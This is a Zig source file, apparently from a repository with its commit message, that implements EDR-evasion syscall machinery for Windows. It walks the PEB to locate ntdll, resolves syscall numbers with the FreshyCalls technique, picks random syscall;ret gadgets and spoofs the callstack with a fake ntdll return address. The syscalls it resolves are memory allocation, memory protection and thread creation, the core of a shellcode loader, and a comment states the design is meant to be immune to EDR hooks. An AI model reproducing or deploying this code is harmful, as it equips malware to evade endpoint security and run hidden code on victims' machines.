f9eba1ed1b
- freshycalls sorted export rva table instead of hells gate for SSNs - 64 syscall;ret gadgets in a pool, picks random via xorshift64 - hells_gate.s pushes fake ntdll return before syscall now - got rid of the 5 wrapper functions, just one syscall_dispatch - deleted win32.zig, using std.os.windows. named structs for peb - asm volatile and enum fixes so this compiles on zig 0.16 - build.zig: added .abi = .gnu, .Windows subsystem
310 lines
11 KiB
Zig
310 lines
11 KiB
Zig
// peb walk, gadget pool scan, FreshyCalls SSN table.
|
|
const std = @import("std");
|
|
const windows = std.os.windows;
|
|
const nt = @import("nt.zig");
|
|
const pe = @import("pe.zig");
|
|
|
|
pub const Entry = struct {
|
|
number: u32,
|
|
gadget: *anyopaque,
|
|
};
|
|
|
|
// all resolved syscalls. resolve() peb-walks ntdll, builds freshy table,
|
|
// scans for gadgets, cracks each syscall.
|
|
pub const Syscalls = struct {
|
|
NtAllocateVirtualMemory: Entry,
|
|
NtProtectVirtualMemory: Entry,
|
|
NtCreateThreadEx: Entry,
|
|
NtWaitForSingleObject: Entry,
|
|
NtDelayExecution: Entry,
|
|
|
|
pub fn resolve() ?Syscalls {
|
|
const ntdll = findNtdll() orelse return null;
|
|
seed_prng();
|
|
scan_gadget_pool(ntdll) orelse return null;
|
|
build_freshy_table(ntdll);
|
|
|
|
const names = [_][]const u8{
|
|
"NtAllocateVirtualMemory",
|
|
"NtProtectVirtualMemory",
|
|
"NtCreateThreadEx",
|
|
"NtWaitForSingleObject",
|
|
"NtDelayExecution",
|
|
};
|
|
var result = Syscalls{
|
|
.NtAllocateVirtualMemory = undefined,
|
|
.NtProtectVirtualMemory = undefined,
|
|
.NtCreateThreadEx = undefined,
|
|
.NtWaitForSingleObject = undefined,
|
|
.NtDelayExecution = undefined,
|
|
};
|
|
inline for (names) |name| {
|
|
const ssn = extract_ssn(hash_ror13(name)) orelse return null;
|
|
@field(result, name) = Entry{ .number = ssn, .gadget = @ptrFromInt(g_syscall_addrs[0]) };
|
|
}
|
|
return result;
|
|
}
|
|
};
|
|
|
|
// ---- state ----
|
|
|
|
var g_syscall_addrs: [64]usize = [_]usize{0} ** 64;
|
|
var g_syscall_count: usize = 0;
|
|
var g_ntdll_base: ?*anyopaque = null;
|
|
var g_fake_return_addr: usize = 0;
|
|
var g_rand_state: u64 = 0;
|
|
|
|
// FreshyCalls table: ntdll Nt* exports sorted by RVA. SSN = sort position.
|
|
const FRESHY_MAX: usize = 1024;
|
|
const FreshyEntry = struct { hash: u32, rva: u32 };
|
|
var g_freshy_entries: [FRESHY_MAX]FreshyEntry = undefined;
|
|
var g_freshy_count: usize = 0;
|
|
var g_freshy_ready: bool = false;
|
|
|
|
// ---- ror13 hash (case-insensitive, used by FreshyCalls + fallback) ----
|
|
fn hash_ror13(input: []const u8) u32 {
|
|
var hash: u32 = 0;
|
|
for (input) |c| {
|
|
var c_upper = c;
|
|
if (c_upper >= 'a' and c_upper <= 'z') c_upper -= 32;
|
|
hash = (hash >> 13) | (hash << 19);
|
|
hash +%= c_upper;
|
|
}
|
|
return hash;
|
|
}
|
|
|
|
// ---- prng ----
|
|
|
|
fn xorshift64() u64 {
|
|
var s = g_rand_state;
|
|
s ^= s << 13;
|
|
s ^= s >> 7;
|
|
s ^= s << 17;
|
|
g_rand_state = s;
|
|
return s;
|
|
}
|
|
|
|
fn seed_prng() void {
|
|
var stack_var: u64 = 0;
|
|
g_rand_state = @as(u64, @truncate(@intFromPtr(&stack_var)));
|
|
}
|
|
|
|
// ---- peb walk ----
|
|
|
|
const PEB = extern struct {
|
|
reserved1: [2]u8,
|
|
being_debugged: u8,
|
|
reserved2: u8,
|
|
reserved3: [2]*anyopaque,
|
|
ldr: *PEB_LDR_DATA,
|
|
};
|
|
|
|
const PEB_LDR_DATA = extern struct {
|
|
length: u32,
|
|
initialized: u8,
|
|
reserved: [3]u8,
|
|
ss_handle: *anyopaque,
|
|
in_load_order_module_list: LIST_ENTRY,
|
|
in_memory_order_module_list: LIST_ENTRY,
|
|
in_initialization_order_module_list: LIST_ENTRY,
|
|
};
|
|
|
|
const LIST_ENTRY = extern struct {
|
|
flink: *LIST_ENTRY,
|
|
blink: *LIST_ENTRY,
|
|
};
|
|
|
|
const LDR_DATA_TABLE_ENTRY = extern struct {
|
|
in_load_order_links: LIST_ENTRY,
|
|
in_memory_order_links: LIST_ENTRY,
|
|
in_initialization_order_links: LIST_ENTRY,
|
|
dll_base: *anyopaque,
|
|
entry_point: *anyopaque,
|
|
size_of_image: u32,
|
|
full_dll_name: extern struct { length: u16, maximum_length: u16, buffer: [*]u16 },
|
|
base_dll_name: extern struct { length: u16, maximum_length: u16, buffer: [*]u16 },
|
|
};
|
|
|
|
fn findNtdll() ?[*]u8 {
|
|
const peb_addr: usize = asm volatile ("mov %%gs:0x60, %[r]"
|
|
: [r] "=r" (-> usize),
|
|
);
|
|
const peb_ptr = @as(*const PEB, @ptrFromInt(peb_addr));
|
|
const head = &peb_ptr.ldr.in_memory_order_module_list;
|
|
|
|
var entry = head.flink;
|
|
while (entry != head) : (entry = entry.flink) {
|
|
const mod: *LDR_DATA_TABLE_ENTRY = @fieldParentPtr("in_memory_order_links", entry);
|
|
if (@intFromPtr(mod.dll_base) == 0) continue;
|
|
|
|
const dos = @as(*align(1) const pe.IMAGE_DOS_HEADER, @ptrFromInt(@intFromPtr(mod.dll_base)));
|
|
if (dos.e_magic != 0x5A4D) continue;
|
|
|
|
const nt_hdrs = @as(*align(1) const pe.IMAGE_NT_HEADERS, @ptrFromInt(
|
|
@intFromPtr(mod.dll_base) + @as(usize, @intCast(dos.e_lfanew)),
|
|
));
|
|
if (nt_hdrs.Signature != 0x00004550) continue;
|
|
|
|
const exp_dir = nt_hdrs.OptionalHeader.DataDirectory[0];
|
|
if (exp_dir.VirtualAddress == 0) continue;
|
|
|
|
const exp = @as(*align(1) const pe.IMAGE_EXPORT_DIRECTORY, @ptrFromInt(
|
|
@intFromPtr(mod.dll_base) + @as(usize, @intCast(exp_dir.VirtualAddress)),
|
|
));
|
|
const name_ptr = @as([*:0]const u8, @ptrFromInt(
|
|
@intFromPtr(mod.dll_base) + @as(usize, @intCast(exp.Name)),
|
|
));
|
|
if (std.mem.eql(u8, std.mem.sliceTo(name_ptr, 0), "ntdll.dll")) {
|
|
g_ntdll_base = @ptrFromInt(@intFromPtr(mod.dll_base));
|
|
return @ptrFromInt(@intFromPtr(mod.dll_base));
|
|
}
|
|
}
|
|
return null;
|
|
}
|
|
|
|
// ---- gadget pool ----
|
|
|
|
fn scan_gadget_pool(ntdll_base: ?*anyopaque) ?void {
|
|
const base = ntdll_base orelse return null;
|
|
const base_bytes: [*]const u8 = @ptrCast(base);
|
|
const dos = @as(*align(1) const pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(base_bytes)));
|
|
if (dos.e_magic != 0x5A4D) return null;
|
|
|
|
const nt_hdrs = @as(*align(1) const pe.IMAGE_NT_HEADERS, @ptrCast(@alignCast(
|
|
base_bytes + @as(usize, @intCast(dos.e_lfanew)),
|
|
)));
|
|
if (nt_hdrs.Signature != 0x00004550) return null;
|
|
|
|
const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64);
|
|
const sections = @as([*]align(1) const pe.IMAGE_SECTION_HEADER, @ptrCast(@alignCast(
|
|
@as([*]u8, @ptrCast(@constCast(base_bytes))) + section_off,
|
|
)));
|
|
|
|
var text_va: usize = 0;
|
|
var text_size: usize = 0;
|
|
for (0..nt_hdrs.FileHeader.NumberOfSections) |si| {
|
|
const sec = §ions[si];
|
|
if (std.mem.eql(u8, sec.Name[0..5], ".text") and sec.Name[5] == 0) {
|
|
text_va = sec.VirtualAddress;
|
|
text_size = sec.VirtualSize;
|
|
break;
|
|
}
|
|
}
|
|
if (text_va == 0 or text_size == 0) return null;
|
|
|
|
g_syscall_count = 0;
|
|
var j: usize = text_va;
|
|
const scan_end: usize = text_va + text_size;
|
|
while (j < scan_end - 3 and g_syscall_count < g_syscall_addrs.len) : (j += 1) {
|
|
// syscall; ret = 0F 05 C3
|
|
if (base_bytes[j] == 0x0F and base_bytes[j + 1] == 0x05 and base_bytes[j + 2] == 0xC3) {
|
|
g_syscall_addrs[g_syscall_count] = @intFromPtr(&base_bytes[j]);
|
|
g_syscall_count += 1;
|
|
}
|
|
// standalone ret for callstack spoofing (not part of syscall;ret)
|
|
if (g_fake_return_addr == 0 and base_bytes[j] == 0xC3) {
|
|
if (j < 2 or base_bytes[j - 2] != 0x0F or base_bytes[j - 1] != 0x05) {
|
|
g_fake_return_addr = @intFromPtr(&base_bytes[j]);
|
|
}
|
|
}
|
|
}
|
|
if (g_syscall_count == 0) return null;
|
|
}
|
|
|
|
// ---- freshycalls ----
|
|
|
|
fn build_freshy_table(ntdll_base: ?*anyopaque) void {
|
|
const base = ntdll_base orelse return;
|
|
const base_bytes: [*]u8 = @ptrCast(base);
|
|
const dos = @as(*align(1) const pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(base_bytes)));
|
|
if (dos.e_magic != 0x5A4D) return;
|
|
|
|
const nt_hdrs = @as(*align(1) const pe.IMAGE_NT_HEADERS, @ptrCast(@alignCast(
|
|
base_bytes + @as(usize, @intCast(dos.e_lfanew)),
|
|
)));
|
|
if (nt_hdrs.Signature != 0x00004550) return;
|
|
|
|
const export_dir = nt_hdrs.OptionalHeader.DataDirectory[0];
|
|
if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return;
|
|
|
|
const exp = @as(*align(1) const pe.IMAGE_EXPORT_DIRECTORY, @ptrCast(@alignCast(
|
|
base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)),
|
|
)));
|
|
if (exp.NumberOfNames == 0) return;
|
|
|
|
const names = @as([*]align(1) const u32, @ptrCast(@alignCast(
|
|
base_bytes + @as(usize, @intCast(exp.AddressOfNames)),
|
|
)));
|
|
const funcs = @as([*]align(1) const u32, @ptrCast(@alignCast(
|
|
base_bytes + @as(usize, @intCast(exp.AddressOfFunctions)),
|
|
)));
|
|
const ords = @as([*]align(1) const u16, @ptrCast(@alignCast(
|
|
base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals)),
|
|
)));
|
|
|
|
g_freshy_count = 0;
|
|
const export_dir_end = export_dir.VirtualAddress + export_dir.Size;
|
|
var i: u32 = 0;
|
|
while (i < exp.NumberOfNames and g_freshy_count < FRESHY_MAX) : (i += 1) {
|
|
const name_ptr = @as([*:0]const u8, @ptrCast(@alignCast(
|
|
base_bytes + @as(usize, @intCast(names[i])),
|
|
)));
|
|
const name = std.mem.sliceTo(name_ptr, 0);
|
|
if (name.len < 2 or name[0] != 'N' or name[1] != 't') continue;
|
|
|
|
const ordinal = ords[i];
|
|
if (ordinal >= exp.NumberOfFunctions) continue;
|
|
const rva = funcs[ordinal];
|
|
if (rva >= export_dir.VirtualAddress and rva < export_dir_end) continue;
|
|
|
|
g_freshy_entries[g_freshy_count] = FreshyEntry{ .hash = hash_ror13(name), .rva = rva };
|
|
g_freshy_count += 1;
|
|
}
|
|
|
|
std.mem.sort(FreshyEntry, g_freshy_entries[0..g_freshy_count], {}, struct {
|
|
fn lt(_: void, a: FreshyEntry, b: FreshyEntry) bool { return a.rva < b.rva; }
|
|
}.lt);
|
|
g_freshy_ready = true;
|
|
}
|
|
|
|
// Extract SSN from FreshyCalls table. Immune to inline hooks —
|
|
// EDRs can't change the linker's RVA order in the PE export table.
|
|
fn extract_ssn(func_hash: u32) ?u16 {
|
|
if (!g_freshy_ready) return null;
|
|
for (0..g_freshy_count) |i| {
|
|
if (g_freshy_entries[i].hash == func_hash) return @as(u16, @intCast(i));
|
|
}
|
|
return null;
|
|
}
|
|
|
|
// ---- unified dispatch (replaces 5 wrapper functions in main.zig) ----
|
|
|
|
extern fn hells_gate(ssn: u32, syscall_addr: usize, fake_return: usize) void;
|
|
extern fn hell_descent(
|
|
a1: usize, a2: usize, a3: usize, a4: usize, a5: usize,
|
|
a6: usize, a7: usize, a8: usize, a9: usize, a10: usize, a11: usize,
|
|
) usize;
|
|
|
|
// pick a random gadget from the pool and dispatch the syscall.
|
|
// callstack spoofing: pushes a fake ret from ntdll so the kernel sees ntdll frames.
|
|
pub fn syscall_dispatch(ssn: u32, args: [*]const usize, arg_count: usize) usize {
|
|
const idx = @as(usize, @truncate(xorshift64())) % g_syscall_count;
|
|
const gadget = g_syscall_addrs[idx];
|
|
const fake: usize = if (arg_count < 5) g_fake_return_addr else 0;
|
|
hells_gate(ssn, gadget, fake);
|
|
const a = [11]usize{
|
|
if (arg_count > 0) args[0] else 0,
|
|
if (arg_count > 1) args[1] else 0,
|
|
if (arg_count > 2) args[2] else 0,
|
|
if (arg_count > 3) args[3] else 0,
|
|
if (arg_count > 4) args[4] else 0,
|
|
if (arg_count > 5) args[5] else 0,
|
|
if (arg_count > 6) args[6] else 0,
|
|
if (arg_count > 7) args[7] else 0,
|
|
if (arg_count > 8) args[8] else 0,
|
|
if (arg_count > 9) args[9] else 0,
|
|
if (arg_count > 10) args[10] else 0,
|
|
};
|
|
return hell_descent(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7], a[8], a[9], a[10]);
|
|
}
|